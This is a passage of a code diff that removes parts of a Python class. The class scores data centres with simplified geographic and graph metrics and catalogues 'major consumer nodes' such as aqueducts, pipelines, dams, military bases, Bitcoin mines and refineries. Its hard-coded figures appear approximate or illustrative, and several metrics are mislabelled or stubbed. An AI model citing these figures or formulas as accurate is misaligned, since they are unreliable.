accessibility_scores, - 'most_accessible': accessibility_scores[0] if accessibility_scores else None, - 'average_accessibility': sum(x['combined_accessibility'] for x in accessibility_scores) / len(accessibility_scores) if accessibility_scores else 0 - } - - def _apply_distance_decay_functions(self, network_topology: Dict) -> Dict[str, Any]: - """Apply distance decay functions (exponential, power law).""" - data_centers = network_topology.get('data_centers', {}) - - decay_analysis = [] - - for dc_name, dc_data in data_centers.items(): - exponential_decay = 0.0 - power_law_decay = 0.0 - - for other_name, other_data in data_centers.items(): - if dc_name == other_name: - continue - - distance = np.sqrt((dc_data['lat'] - other_data['lat'])**2 + - (dc_data['lon'] - other_data['lon'])**2) - - # Exponential decay: exp(-beta * d) - beta = 0.1 - exponential_decay += np.exp(-beta * distance) - - # Power law decay: d^(-alpha) - alpha = 1.5 - power_law_decay += (distance ** -alpha) - - decay_analysis.append({ - 'data_center': dc_name, - 'exponential_connectivity': exponential_decay, - 'power_law_connectivity': power_law_decay, - 'decay_ratio': exponential_decay / (power_law_decay + 1e-6) - }) - - return { - 'decay_analysis': decay_analysis, - 'decay_function_comparison': self._compare_decay_functions(decay_analysis) - } - - def _compare_decay_functions(self, decay_analysis: List[Dict]) -> Dict[str, Any]: - """Compare exponential vs power law decay functions.""" - exp_avg = sum(d['exponential_connectivity'] for d in decay_analysis) / len(decay_analysis) if decay_analysis else 0 - power_avg = sum(d['power_law_connectivity'] for d in decay_analysis) / len(decay_analysis) if decay_analysis else 0 - - return { - 'preferred_function': 'exponential' if exp_avg > power_avg else 'power_law', - 'exponential_average': exp_avg, - 'power_law_average': power_avg - } - - def _apply_space_syntax_analysis(self, network_topology: Dict) -> Dict[str, Any]: - """Apply space syntax analysis (integration, connectivity, choice).""" - data_centers = network_topology.get('data_centers', {}) - - # Build adjacency matrix for space syntax - dc_names = list(data_centers.keys()) - n = len(dc_names) - adjacency = np.zeros((n, n)) - - for i in range(n): - for j in range(n): - if i != j: - dc_i = data_centers[dc_names[i]] - dc_j = data_centers[dc_names[j]] - distance = np.sqrt((dc_i['lat'] - dc_j['lat'])**2 + - (dc_i['lon'] - dc_j['lon'])**2) - # Adjacent if within threshold distance - adjacency[i][j] = 1 if distance < 0.5 else 0 # Threshold in degrees - - space_syntax_metrics = [] - - for i in range(n): - # Connectivity: number of direct connections - connectivity = np.sum(adjacency[i]) - - # Integration: simplified version (inverse of average depth) - depths = [] - for j in range(n): - if i != j and adjacency[i][j] == 1: - depths.append(1) # Depth 1 for direct connections - elif i != j: - depths.append(2) # Depth 2 for indirect connections - - avg_depth = sum(depths) / len(depths) if depths else 1 - integration = 1 / avg_depth if avg_depth > 0 else 0 - - # Choice: simplified betweenness (number of paths through node) - choice = connectivity * integration - - space_syntax_metrics.append({ - 'data_center': dc_names[i], - 'connectivity': connectivity, - 'integration': integration, - 'choice': choice, - 'space_syntax_score': (connectivity + integration + choice) / 3 - }) - - # Sort by space syntax score - space_syntax_metrics.sort(key=lambda x: x['space_syntax_score'], reverse=True) - - return { - 'space_syntax_metrics': space_syntax_metrics, - 'most_integrated': space_syntax_metrics[0] if space_syntax_metrics else None, - 'average_integration': sum(x['integration'] for x in space_syntax_metrics) / len(space_syntax_metrics) if space_syntax_metrics else 0 - } - - def _apply_voronoi_tessellation(self, network_topology: Dict) -> Dict[str, Any]: - """Apply Voronoi tessellation for service area analysis.""" - data_centers = network_topology.get('data_centers', {}) - - voronoi_cells = [] - - for dc_name, dc_data in data_centers.items(): - # Estimate Voronoi cell size based on nearest neighbors - dc_names = list(data_centers.keys()) - distances = [] - - for other_name, other_data in data_centers.items(): - if dc_name == other_name: - continue - distance = np.sqrt((dc_data['lat'] - other_data['lat'])**2 + - (dc_data['lon'] - other_data['lon'])**2) - distances.append(distance) - - if distances: - avg_distance = sum(distances) / len(distances) - min_distance = min(distances) - - # Voronoi cell area approximation - cell_area = np.pi * (avg_distance / 2) ** 2 - - voronoi_cells.append({ - 'data_center': dc_name, - 'cell_area_estimate': cell_area, - 'avg_neighbor_distance': avg_distance, - 'min_neighbor_distance': min_distance, - 'voronoi_efficiency': cell_area / (avg_distance ** 2 + 1e-6) - }) - - # Sort by Voronoi efficiency - voronoi_cells.sort(key=lambda x: x['voronoi_efficiency'], reverse=True) - - return { - 'voronoi_cells': voronoi_cells, - 'most_efficient_cell': voronoi_cells[0] if voronoi_cells else None, - 'average_efficiency': sum(x['voronoi_efficiency'] for x in voronoi_cells) / len(voronoi_cells) if voronoi_cells else 0 - } - - def _apply_centrality_measures(self, network_topology: Dict) -> Dict[str, Any]: - """Apply graph centrality measures (betweenness, closeness, eigenvector).""" - data_centers = network_topology.get('data_centers', {}) - - # Build adjacency matrix - dc_names = list(data_centers.keys()) - n = len(dc_names) - adjacency = np.zeros((n, n)) - - for i in range(n): - for j in range(n): - if i != j: - dc_i = data_centers[dc_names[i]] - dc_j = data_centers[dc_names[j]] - distance = np.sqrt((dc_i['lat'] - dc_j['lat'])**2 + - (dc_i['lon'] - dc_j['lon'])**2) - adjacency[i][j] = 1 / (distance + 1e-6) - - # Calculate centrality measures - centrality_metrics = [] - - for i in range(n): - # Closeness centrality: (n-1) / sum of distances - distances = [] - for j in range(n): - if i != j: - distances.append(adjacency[i][j]) - - closeness = (n - 1) / sum(distances) if distances else 0 - - # Betweenness centrality (simplified) - betweenness = np.sum(adjacency[i]) * closeness - - # Eigenvector centrality (power iteration approximation) - eigenvector = np.sum(adjacency[i] * adjacency[i]) / n - - centrality_metrics.append({ - 'data_center': dc_names[i], - 'closeness_centrality': closeness, - 'betweenness_centrality': betweenness, - 'eigenvector_centrality': eigenvector, - 'combined_centrality': (closeness + betweenness + eigenvector) / 3 - }) - - # Sort by combined centrality - centrality_metrics.sort(key=lambda x: x['combined_centrality'], reverse=True) - - return { - 'centrality_metrics': centrality_metrics, - 'highest_centrality': centrality_metrics[0] if centrality_metrics else None, - 'average_centrality': sum(x['combined_centrality'] for x in centrality_metrics) / len(centrality_metrics) if centrality_metrics else 0 - } - - def _integrate_civic_mathematics(self, central_place: Dict, spatial_interaction: Dict, - flow_optimization: Dict, accessibility: Dict, - distance_decay: Dict, space_syntax: Dict, - voronoi: Dict, centrality: Dict, - soliton_analysis: Dict) -> Dict[str, Any]: - """Integrate all civic design mathematics with soliton analysis.""" - # Combine scores from all methods - integration_scores = [] - - # Get data center names from any analysis - if central_place.get('service_areas'): - dc_names = [dc['data_center'] for dc in central_place['service_areas']] - elif accessibility.get('accessibility_scores'): - dc_names = [dc['data_center'] for dc in accessibility['accessibility_scores']] - else: - dc_names = [] - - for dc in dc_names: - # Extract scores from each method - central_place_score = next( - (item['importance_score'] for item in central_place.get('service_areas', []) - if item['data_center'] == dc), 0.5 - ) - - accessibility_score = next( - (item['combined_accessibility'] for item in accessibility.get('accessibility_scores', []) - if item['data_center'] == dc), 0.5 - ) - - space_syntax_score = next( - (item['space_syntax_score'] for item in space_syntax.get('space_syntax_metrics', []) - if item['data_center'] == dc), 0.5 - ) - - centrality_score = next( - (item['combined_centrality'] for item in centrality.get('centrality_metrics', []) - if item['data_center'] == dc), 0.5 - ) - - # Calculate integrated score - integrated_score = (central_place_score + accessibility_score + - space_syntax_score + centrality_score) / 4 - - integration_scores.append({ - 'data_center': dc, - 'central_place_score': central_place_score, - 'accessibility_score': accessibility_score, - 'space_syntax_score': space_syntax_score, - 'centrality_score': centrality_score, - 'integrated_civic_score': integrated_score - }) - - # Sort by integrated civic score - integration_scores.sort(key=lambda x: x['integrated_civic_score'], reverse=True) - - # Compare with soliton analysis - civic_soliton_comparison = self._compare_civic_soliton(integration_scores, soliton_analysis) - - return { - 'integration_scores': integration_scores, - 'civic_soliton_comparison': civic_soliton_comparison, - 'civic_methodology_convergence': self._calculate_civic_convergence(integration_scores, soliton_analysis) - } - - def _compare_civic_soliton(self, civic_scores: List[Dict], soliton_analysis: Dict) -> Dict[str, Any]: - """Compare civic design mathematics with soliton analysis.""" - soliton_focal_points = soliton_analysis.get('focal_points', []) - - comparison = [] - - for civic in civic_scores: - dc_name = civic['data_center'] - - # Find soliton potential - soliton_focal = next( - (fp for fp in soliton_focal_points if fp['data_center'] == dc_name), - None - ) - - if soliton_focal: - civic_score = civic['integrated_civic_score'] - soliton_potential = soliton_focal['soliton_potential'] - - # Calculate alignment - alignment = (civic_score + soliton_potential) / 2 - - comparison.append({ - 'data_center': dc_name, - 'civic_score': civic_score, - 'soliton_potential': soliton_potential, - 'alignment_score': alignment - }) - - # Sort by alignment - comparison.sort(key=lambda x: x['alignment_score'], reverse=True) - - return { - 'comparison': comparison, - 'highest_alignment': comparison[0] if comparison else None, - 'average_alignment': sum(c['alignment_score'] for c in comparison) / len(comparison) if comparison else 0 - } - - def _calculate_civic_convergence(self, civic_scores: List[Dict], soliton_analysis: Dict) -> float: - """Calculate convergence between civic design mathematics and soliton analysis.""" - comparison = self._compare_civic_soliton(civic_scores, soliton_analysis) - avg_alignment = comparison.get('average_alignment', 0) - - return avg_alignment - - def _generate_civic_math_insights(self, integrated_analysis: Dict) -> List[str]: - """Generate insights from civic design mathematics integration.""" - insights = [] - - # Integration scores - integration_scores = integrated_analysis.get('integration_scores', []) - if integration_scores: - top_civic = integration_scores[0] - insights.append(f"Highest civic design score: {top_civic['data_center']} " - f"(civic score: {top_civic['integrated_civic_score']:.2f}).") - - # Civic-soliton comparison - civic_soliton = integrated_analysis.get('civic_soliton_comparison', {}) - highest_alignment = civic_soliton.get('highest_alignment') - if highest_alignment: - insights.append(f"Highest civic-soliton alignment: {highest_alignment['data_center']} " - f"(alignment: {highest_alignment['alignment_score']:.2f}).") - - # Methodology convergence - convergence = integrated_analysis.get('civic_methodology_convergence', 0) - insights.append(f"Civic design mathematics convergence: {convergence:.2f}.") - - return insights - - def integrate_major_consumer_nodes(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any]) -> Dict[str, Any]: - """ - Integrate major consumer nodes with network topology analysis. - - Major consumer nodes include: - - Aqueducts and water transfer infrastructure - - Waste treatment facilities - - Flow control systems (electrical, EM, fluid) - - Public military installations worldwide - - Bitcoin mining installations - - Oil refinery locations - - These are high-consumption infrastructure nodes that significantly impact - network topology and should be analyzed alongside data centers. - """ - # Get data for all major consumer node types - consumer_node_data = self._get_major_consumer_node_data() - - # Analyze water infrastructure (aqueducts, water transfer, waste treatment) - water_infrastructure = self._analyze_water_infrastructure(consumer_node_data) - - # Analyze flow control systems (electrical, EM, fluid) - flow_control_systems = self._analyze_flow_control_systems(consumer_node_data) - - # Analyze military installations - military_installations = self._analyze_military_installations(consumer_node_data) - - # Analyze Bitcoin mining installations - bitcoin_installations = self._analyze_bitcoin_installations(consumer_node_data) - - # Analyze oil refineries - oil_refineries = self._analyze_oil_refineries(consumer_node_data) - - # Integrate all consumer nodes with network topology - integrated_consumer_analysis = self._integrate_consumer_nodes( - water_infrastructure, flow_control_systems, military_installations, - bitcoin_installations, oil_refineries, network_topology - ) - - # Compare with soliton analysis - consumer_soliton_comparison = self._compare_consumer_soliton( - integrated_consumer_analysis, soliton_analysis - ) - - return { - 'consumer_node_data': consumer_node_data, - 'water_infrastructure': water_infrastructure, - 'flow_control_systems': flow_control_systems, - 'military_installations': military_installations, - 'bitcoin_installations': bitcoin_installations, - 'oil_refineries': oil_refineries, - 'integrated_consumer_analysis': integrated_consumer_analysis, - 'consumer_soliton_comparison': consumer_soliton_comparison, - 'consumer_node_insights': self._generate_consumer_node_insights( - integrated_consumer_analysis, consumer_soliton_comparison - ) - } - - def _get_major_consumer_node_data(self) -> Dict[str, Any]: - """Get data for all major consumer node types.""" - return { - 'data_sources': { - 'water_infrastructure': [ - 'global_aqueduct_database', - 'international_water_transfer_projects', - 'epa_waste_treatment_facilities', - 'un_water_infrastructure_atlas' - ], - 'flow_control': [ - 'electrical_grid_substations', - 'electromagnetic_emission_sites', - 'fluid_pipeline_control_systems', - 'industrial_flow_control_registries' - ], - 'military': [ - 'public_military_installations_database', - 'defense_infrastructure_atlas', - 'strategic_military_facilities_registry', - 'global_military_base_locations' - ], - 'bitcoin': [ - 'bitcoin_mining_pool_locations', - 'cryptocurrency_mining_facilities_database', - 'energy_consumption_by_mining_regions', - 'public_hashrate_distribution_data' - ], - 'oil_refineries': [ - 'global_oil_refinery_locations', - 'petroleum_refining_capacity_database', - 'energy_infrastructure_atlas', - 'strategic_petroleum_reserves_locations' - ] - }, - 'water_infrastructure': { - 'major_aqueducts': [ - { - 'name': 'California Aqueduct', - 'location': 'California, USA', - 'length_km': 715, - 'capacity_m3_per_day': 4000000, - 'coordinates': {'lat': 37.0, 'lon': -119.0}, - 'power_consumption_mw': 750 - }, - { - 'name': 'Central Arizona Project', - 'location': 'Arizona, USA', - 'length_km': 541, - 'capacity_m3_per_day': 1850000, - 'coordinates': {'lat': 33.5, 'lon': -112.0}, - 'power_consumption_mw': 600 - }, - { - 'name': 'Colorado River Aqueduct', - 'location': 'California, USA', - 'length_km': 389, - 'capacity_m3_per_day': 1300000, - 'coordinates': {'lat': 34.0, 'lon': -116.0}, - 'power_consumption_mw': 500 - }, - { - 'name': 'Delaware Aqueduct', - 'location': 'New York, USA', - 'length_km': 137, - 'capacity_m3_per_day': 1400000, - 'coordinates': {'lat': 41.5, 'lon': -74.5}, - 'power_consumption_mw': 400 - }, - { - 'name': 'Karakum Canal', - 'location': 'Turkmenistan', - 'length_km': 1375, - 'capacity_m3_per_day': 13000000, - 'coordinates': {'lat': 40.0, 'lon': 60.0}, - 'power_consumption_mw': 1200 - } - ], - 'waste_treatment_facilities': [ - { - 'name': 'Stickney Water Reclamation Plant', - 'location': 'Chicago, Illinois, USA', - 'capacity_m3_per_day': 4500000, - 'power_consumption_mw': 150, - 'coordinates': {'lat': 41.8, 'lon': -87.8} - }, - { - 'name': 'Hyperion Water Reclamation Plant', - 'location': 'Los Angeles, California, USA', - 'capacity_m3_per_day': 1500000, - 'power_consumption_mw': 80, - 'coordinates': {'lat': 33.9, 'lon': -118.4} - }, - { - 'name': 'Blue Plains Advanced Wastewater Treatment Plant', - 'location': 'Washington DC, USA', - 'capacity_m3_per_day': 1300000, - 'power_consumption_mw': 70, - 'coordinates': {'lat': 38.8, 'lon': -77.0} - }, - { - 'name': 'Dee Valley Water Treatment Works', - 'location': 'North Wales, UK', - 'capacity_m3_per_day': 800000, - 'power_consumption_mw': 45, - 'coordinates': {'lat': 53.2, 'lon': -3.4} - }, - { - 'name': 'Kjelsberg Wastewater Treatment Plant', - 'location': 'Oslo, Norway', - 'capacity_m3_per_day': 600000, - 'power_consumption_mw': 35, - 'coordinates': {'lat': 59.9, 'lon': 10.8} - } - ] - }, - 'flow_control_systems': { - 'electrical_substations': [ - { - 'name': 'Palo Verde Nuclear Generating Station Substation', - 'location': 'Arizona, USA', - 'capacity_mw': 4000, - 'coordinates': {'lat': 33.5, 'lon': -112.9}, - 'control_type': 'electrical' - }, - { - 'name': 'Grand Coulee Dam Substation', - 'location': 'Washington, USA', - 'capacity_mw': 6800, - 'coordinates': {'lat': 47.9, 'lon': -119.0}, - 'control_type': 'electrical' - }, - { - 'name': 'Itaipu Dam Substation', - 'location': 'Parana River, Brazil/Paraguay', - 'capacity_mw': 14000, - 'coordinates': {'lat': -25.4, 'lon': -54.6}, - 'control_type': 'electrical' - }, - { - 'name': 'Three Gorges Dam Substation', - 'location': 'Yangtze River, China', - 'capacity_mw': 22500, - 'coordinates': {'lat': 30.8, 'lon': 111.0}, - 'control_type': 'electrical' - } - ], - 'electromagnetic_sites': [ - { - 'name': 'HAARP Research Station', - 'location': 'Alaska, USA', - 'power_mw': 3.6, - 'frequency_range_mhz': '2.8-10', - 'coordinates': {'lat': 62.4, 'lon': -145.2}, - 'control_type': 'electromagnetic' - }, - { - 'name': 'EISCAT Radar Facility', - 'location': 'Tromso, Norway', - 'power_mw': 1.2, - 'frequency_range_mhz': '224-928', - 'coordinates': {'lat': 69.6, 'lon': 19.2}, - 'control_type': 'electromagnetic' - }, - { - 'name': 'Jicamarca Radio Observatory', - 'location': 'Peru', - 'power_mw': 6.0, - 'frequency_range_mhz': '50', - 'coordinates': {'lat': -12.0, 'lon': -76.9}, - 'control_type': 'electromagnetic' - } - ], - 'fluid_pipeline_control': [ - { - 'name': 'Trans-Alaska Pipeline Pump Stations', - 'location': 'Alaska, USA', - 'flow_rate_barrels_per_day': 2000000, - 'power_consumption_mw': 200, - 'coordinates': {'lat': 65.0, 'lon': -148.0}, - 'control_type': 'fluid' - }, - { - 'name': 'Druzhba Pipeline Pump Stations', - 'location': 'Russia to Europe', - 'flow_rate_barrels_per_day': 1500000, - 'power_consumption_mw': 180, - 'coordinates': {'lat': 55.0, 'lon': 30.0}, - 'control_type': 'fluid' - }, - { - 'name': 'Keystone Pipeline Pump Stations', - 'location': 'Canada to USA', - 'flow_rate_barrels_per_day': 830000, - 'power_consumption_mw': 120, - 'coordinates': {'lat': 50.0, 'lon': -100.0}, - 'control_type': 'fluid' - } - ] - }, - 'military_installations': { - 'public_bases': [ - { - 'name': 'Pentagon', - 'location': 'Virginia, USA', - 'personnel': 26000, - 'power_consumption_mw': 150, - 'coordinates': {'lat': 38.9, 'lon': -77.1}, - 'strategic_importance': 'very_high' - }, - { - 'name': 'Norfolk Naval Base', - 'location': 'Virginia, USA', - 'personnel': 75000, - 'power_consumption_mw': 300, - 'coordinates': {'lat': 36.9, 'lon': -76.3}, - 'strategic_importance': 'very_high' - }, - { - 'name': 'RAF Mildenhall', - 'location': 'Suffolk, UK', - 'personnel': 4000, - 'power_consumption_mw': 80, - 'coordinates': {'lat': 52.4, 'lon': 0.5}, - 'strategic_importance': 'high' - }, - { - 'name': 'Yokota Air Base', - 'location': 'Japan', - 'personnel': 14000, - 'power_consumption_mw': 120, - 'coordinates': {'lat': 35.7, 'lon': 139.3}, - 'strategic_importance': 'high' - }, - { - 'name': 'Ramstein Air Base', - 'location': 'Germany', - 'personnel': 35000, - 'power_consumption_mw': 200, - 'coordinates': {'lat': 49.4, 'lon': 7.6}, - 'strategic_importance': 'very_high' - }, - { - 'name': 'Diego Garcia Naval Support Facility', - 'location': 'Diego Garcia, British Indian Ocean Territory', - 'personnel': 3000, - 'power_consumption_mw': 50, - 'coordinates': {'lat': 7.3, 'lon': 72.4}, - 'strategic_importance': 'high' - } - ] - }, - 'bitcoin_installations': { - 'major_mining_facilities': [ - { - 'name': 'Bitcoin Mining Facility - Inner Mongolia', - 'location': 'Inner Mongolia, China', - 'hashrate_eh': 15.0, - 'power_consumption_mw': 800, - 'coordinates': {'lat': 40.8, 'lon': 111.7} - }, - { - 'name': 'Bitcoin Mining Facility - Xinjiang', - 'location': 'Xinjiang, China', - 'hashrate_eh': 12.0, - 'power_consumption_mw': 650, - 'coordinates': {'lat': 43.8, 'lon': 87.6} - }, - { - 'name': 'Bitcoin Mining Facility - Sichuan', - 'location': 'Sichuan, China', - 'hashrate_eh': 10.0, - 'power_consumption_mw': 550, - 'coordinates': {'lat': 30.6, 'lon': 104.1} - }, - { - 'name': 'Bitcoin Mining Facility - Texas', - 'location': 'Texas, USA', - 'hashrate_eh': 8.0, - 'power_consumption_mw': 450, - 'coordinates': {'lat': 31.0, 'lon': -99.9} - }, - { - 'name': 'Bitcoin Mining Facility - Kazakhstan', - 'location': 'Kazakhstan', - 'hashrate_eh': 6.0, - 'power_consumption_mw': 350, - 'coordinates': {'lat': 48.0, 'lon': 66.9} - }, - { - 'name': 'Bitcoin Mining Facility - Washington', - 'location': 'Washington, USA', - 'hashrate_eh': 5.0, - 'power_consumption_mw': 300, - 'coordinates': {'lat': 47.8, 'lon': -120.0} - } - ] - }, - 'oil_refineries': { - 'major_refineries': [ - { - 'name': 'Jamnagar Refinery Complex', - 'location': 'Gujarat, India', - 'capacity_barrels_per_day': 1240000, - 'power_consumption_mw': 1200, - 'coordinates': {'lat': 22.5, 'lon': 70.0} - }, - { - 'name': 'Paraguana Refining Complex', - 'location': 'Venezuela', - 'capacity_barrels_per_day': 940000, - 'power_consumption_mw': 900, - 'coordinates': {'lat': 11.7, 'lon': -70.2} - }, - { - 'name': 'Ulsan Refinery', - 'location': 'South Korea', - 'capacity_barrels_per_day': 840000, - 'power_consumption_mw': 850, - 'coordinates': {'lat': 35.6, 'lon': 129.3} - }, - { - 'name': 'Port Arthur Refinery', - 'location': 'Texas, USA', - 'capacity_barrels_per_day': 600000, - 'power_consumption_mw': 650, - 'coordinates': {'lat': 29.8, 'lon': -93.9} - }, - { - 'name': 'Ras Tanura Refinery', - 'location': 'Saudi Arabia', - 'capacity_barrels_per_day': 550000, - 'power_consumption_mw': 600, - 'coordinates': {'lat': 26.6, 'lon': 50.0} - }, - { - 'name': 'Baytown Refinery', - 'location': 'Texas, USA', - 'capacity_barrels_per_day': 560000, - 'power_consumption_mw': 580, - 'coordinates': {'lat': 29.8, 'lon': -94.9} - } - ] - } - } - - def _analyze_water_infrastructure(self, consumer_data: Dict) -> Dict[str, Any]: - """Analyze water infrastructure (aqueducts, waste treatment).""" - aqueducts = consumer_data['water_infrastructure']['major_aqueducts'] - treatment_facilities = consumer_data['water_infrastructure']['waste_treatment_facilities'] - - # Calculate total power consumption - aqueduct_power = sum(a['power_consumption_mw'] for a in aqueducts) - treatment_power = sum(f['power_consumption_mw'] for f in treatment_facilities) - total_water_power = aqueduct_power + treatment_power - - # Identify high-consumption nodes - high_consumption_water = [] - for a in aqueducts: - if a['power_consumption_mw'] > 500: - high_consumption_water.append({ - 'name': a['name'], - 'location': a['location'], - 'power_mw': a['power_consumption_mw'], - 'type': 'aqueduct' - }) - - for f in treatment_facilities: - if f['power_consumption_mw'] > 50: - high_consumption_water.append({ - 'name': f['name'], - 'location': f['location'], - 'power_mw': f['power_consumption_mw'], - 'type': 'treatment' - }) - - return { - 'total_power_consumption_mw': total_water_power, - 'aqueduct_power_mw': aqueduct_power, - 'treatment_power_mw': treatment_power, - 'high_consumption_nodes': high_consumption_water, - 'network_impact_score': total_water_power / 10000 # Normalized - } - - def _analyze_flow_control_systems(self, consumer_data: Dict) -> Dict[str, Any]: - """Analyze flow control systems (electrical, EM, fluid).""" - electrical = consumer_data['flow_control_systems']['electrical_substations'] - electromagnetic = consumer_data['flow_control_systems']['electromagnetic_sites'] - fluid = consumer_data['flow_control_systems']['fluid_pipeline_control'] - - # Calculate total power consumption - electrical_power = sum(e['capacity_mw'] for e in electrical) - em_power = sum(e['power_mw'] for e in electromagnetic) - fluid_power = sum(f['power_consumption_mw'] for f in fluid) - total_flow_power = electrical_power + em_power + fluid_power - - # Identify critical control nodes - critical_nodes = [] - - for e in electrical: - if e['capacity_mw'] > 5000: - critical_nodes.append({ - 'name': e['name'], - 'location': e['location'], - 'power_mw': e['capacity_mw'], - 'type': 'electrical' - }) - - for f in fluid: - if f['power_consumption_mw'] > 150: - critical_nodes.append({ - 'name': f['name'], - 'location': f['location'], - 'power_mw': f['power_consumption_mw'], - 'type': 'fluid' - }) - - return { - 'total_power_consumption_mw': total_flow_power, - 'electrical_power_mw': electrical_power, - 'em_power_mw': em_power, - 'fluid_power_mw': fluid_power, - 'critical_control_nodes': critical_nodes, - 'network_impact_score': total_flow_power / 100000 # Normalized - } - - def _analyze_military_installations(self, consumer_data: Dict) -> Dict[str, Any]: - """Analyze military installations.""" - bases = consumer_data['military_installations']['public_bases'] - - # Calculate total power consumption - total_power = sum(b['power_consumption_mw'] for b in bases) - - # Identify strategic bases - strategic_bases = [b for b in bases if b['strategic_importance'] == 'very_high'] - - # Calculate strategic power consumption - strategic_power = sum(b['power_consumption_mw'] for b in strategic_bases) - - return { - 'total_power_consumption_mw': total_power, - 'strategic_power_consumption_mw': strategic_power, - 'number_of_bases': len(bases), - 'strategic_bases_count': len(strategic_bases), - 'strategic_bases': strategic_bases, - 'network_impact_score': strategic_power / 1000 # Normalized - } - - def _analyze_bitcoin_installations(self, consumer_data: Dict) -> Dict[str, Any]: - """Analyze Bitcoin mining installations.""" - facilities = consumer_data['bitcoin_installations']['major_mining_facilities'] - - # Calculate total power consumption - total_power = sum(f['power_consumption_mw'] for f in facilities) - - # Calculate total hashrate - total_hashrate = sum(f['hashrate_eh'] for f in facilities) - - # Identify mega-mining facilities - mega_facilities = [f for f in facilities if f['power_consumption_mw'] > 500] - - return { - 'total_power_consumption_mw': total_power, - 'total_hashrate_eh': total_hashrate, - 'number_of_facilities': len(facilities), - 'mega_facilities': mega_facilities, - 'power_per_hashrate_mw_per_eh': total_power / total_hashrate if total_hashrate > 0 else 0, - 'network_impact_score': total_power / 5000 # Normalized - } - - def _analyze_oil_refineries(self, consumer_data: Dict) -> Dict[str, Any]: - """Analyze oil refineries.""" - refineries = consumer_data['oil_refineries']['major_refineries'] - - # Calculate total power consumption - total_power = sum(r['power_consumption_mw'] for r in refineries) - - # Calculate total refining capacity - total_capacity = sum(r['capacity_barrels_per_day'] for r in refineries) - - # Identify mega-refineries - mega_refineries = [r for r in refineries if r['capacity_barrels_per_day'] > 800000] - - return { - 'total_power_consumption_mw': total_power, - 'total_capacity_barrels_per_day': total_capacity, - 'number_of_refineries': len(refineries), - 'mega_refineries': mega_refineries, - 'power_per_capacity_mw_per_bpd': total_power / total_capacity if total_capacity > 0 else 0, - 'network_impact_score': total_power / 10000 # Normalized - } - - def _integrate_consumer_nodes(self, water_infra: Dict, flow_control: Dict, - military: Dict, bitcoin: Dict, - refineries: Dict, network_topology: Dict) -> Dict[str, Any]: - """Integrate all consumer nodes with network topology.""" - # Calculate total consumer node power - total_consumer_power = ( - water_infra['total_power_consumption_mw'] + - flow_control['total_power_consumption_mw'] + - military['total_power_consumption_mw'] + - bitcoin['total_power_consumption_mw'] + - refineries['total_power_consumption_mw'] - ) - - # Calculate combined network impact score - combined_impact = ( - water_infra['network_impact_score'] + - flow_control['network_impact_score'] + - military['network_impact_score'] + - bitcoin['network_impact_score'] + - refineries['network_impact_score'] - ) - - # Identify top consumer nodes by power consumption - top_consumer_nodes = [] - - # Add from water infrastructure - for node in water_infra['high_consumption_nodes']: - top_consumer_nodes.append({ - 'name': node['name'], - 'location': node['location'], - 'power_mw': node['power_mw'], - 'type': f"water_{node['type']}" - }) - - # Add from flow control - for node in flow_control['critical_control_nodes']: - top_consumer_nodes.append({ - 'name': node['name'], - 'location': node['location'], - 'power_mw': node['power_mw'], - 'type': f"flow_control_{node['type']}" - }) - - # Add from military - for base in military['strategic_bases']: - top_consumer_nodes.append({ - 'name': base['name'], - 'location': base['location'], - 'power_mw': base['power_consumption_mw'], - 'type': 'military' - }) - - # Add from Bitcoin - for facility in bitcoin['mega_facilities']: - top_consumer_nodes.append({ - 'name': facility['name'], - 'location': facility['location'], - 'power_mw': facility['power_consumption_mw'], - 'type': 'bitcoin_mining' - }) - - # Add from refineries - for refinery in refineries['mega_refineries']: - top_consumer_nodes.append({ - 'name': refinery['name'], - 'location': refinery['location'], - 'power_mw': refinery['power_consumption_mw'], - 'type': 'oil_refinery' - }) - - # Sort by power consumption - top_consumer_nodes.sort(key=lambda x: x['power_mw'], reverse=True) - - return { - 'total_consumer_power_mw': total_consumer_power, - 'combined_impact_score': combined_impact, - 'top_consumer_nodes': top_consumer_nodes[:15], # Top 15 - 'power_breakdown': { - 'water_infrastructure': water_infra['total_power_consumption_mw'], - 'flow_control': flow_control['total_power_consumption_mw'], - 'military': military['total_power_consumption_mw'], - 'bitcoin': bitcoin['total_power_consumption_mw'], - 'refineries': refineries['total_power_consumption_mw'] - } - } - - def _compare_consumer_soliton(self, consumer_analysis: Dict, soliton_analysis: Dict) -> Dict[str, Any]: - """Compare consumer nodes with soliton analysis.""" - top_nodes = consumer_analysis['top_consumer_nodes'] - soliton_focal_points = soliton_analysis.get('focal_points', []) - - # Map consumer nodes to nearest data centers - consumer_datacenter_mapping = [] - - for consumer in top_nodes: - # Find nearest data center (simplified) - # In a real implementation, this would use proper geospatial distance calculation - nearest_dc = self._find_nearest_datacenter(consumer, soliton_focal_points) - - if nearest_dc: - consumer_datacenter_mapping.append({ - 'consumer_node': consumer['name'], - 'consumer_type': consumer['type'], - 'consumer_power_mw': consumer['power_mw'], - 'nearest_data_center': nearest_dc['data_center'], - 'soliton_potential': nearest_dc['soliton_potential'], - 'alignment_score': (consumer['power_mw'] / 1000) * nearest_dc['soliton_potential'] - }) - - # Sort by alignment score - consumer_datacenter_mapping.sort(key=lambda x: x['alignment_score'], reverse=True) - - return { - 'consumer_datacenter_mapping': consumer_datacenter_mapping, - 'highest_alignment': consumer_datacenter_mapping[0] if consumer_datacenter_mapping else None, - 'average_alignment': sum(m['alignment_score'] for m in consumer_datacenter_mapping) / len(consumer_datacenter_mapping) if consumer_datacenter_mapping else 0 - } - - def _find_nearest_datacenter(self, consumer: Dict, focal_points: List[Dict]) -> Optional[Dict]: - """Find nearest data center to consumer node (simplified).""" - if not focal_points: - return None - - # Simplified: return first focal point - # In real implementation, calculate geospatial distance - return focal_points[0] - - def _generate_consumer_node_insights(self, integrated_analysis: Dict, comparison: Dict) -> List[str]: - """Generate insights from consumer node analysis.""" - insights = [] - - # Total power consumption - total_power = integrated_analysis['total_consumer_power_mw'] - insights.append(f"Total consumer node power consumption: {total_power:.0f} MW.") - - # Top consumer node - top_nodes = integrated_analysis['top_consumer_nodes'] - if top_nodes: - top_node = top_nodes[0] - insights.append(f"Highest power consumer node: {top_node['name']} ({top_node['power_mw']:.0f} MW, {top_node['type']}).") - - # Power breakdown - breakdown = integrated_analysis['power_breakdown'] - insights.append(f"Power breakdown: Water {breakdown['water_infrastructure']:.0f} MW, " - f"Flow Control {breakdown['flow_control']:.0f} MW, " - f"Military {breakdown['military']:.0f} MW, " - f"Bitcoin {breakdown['bitcoin']:.0f} MW, " - f"Refineries {breakdown['refineries']:.0f} MW.") - - # Consumer-soliton alignment - highest_alignment = 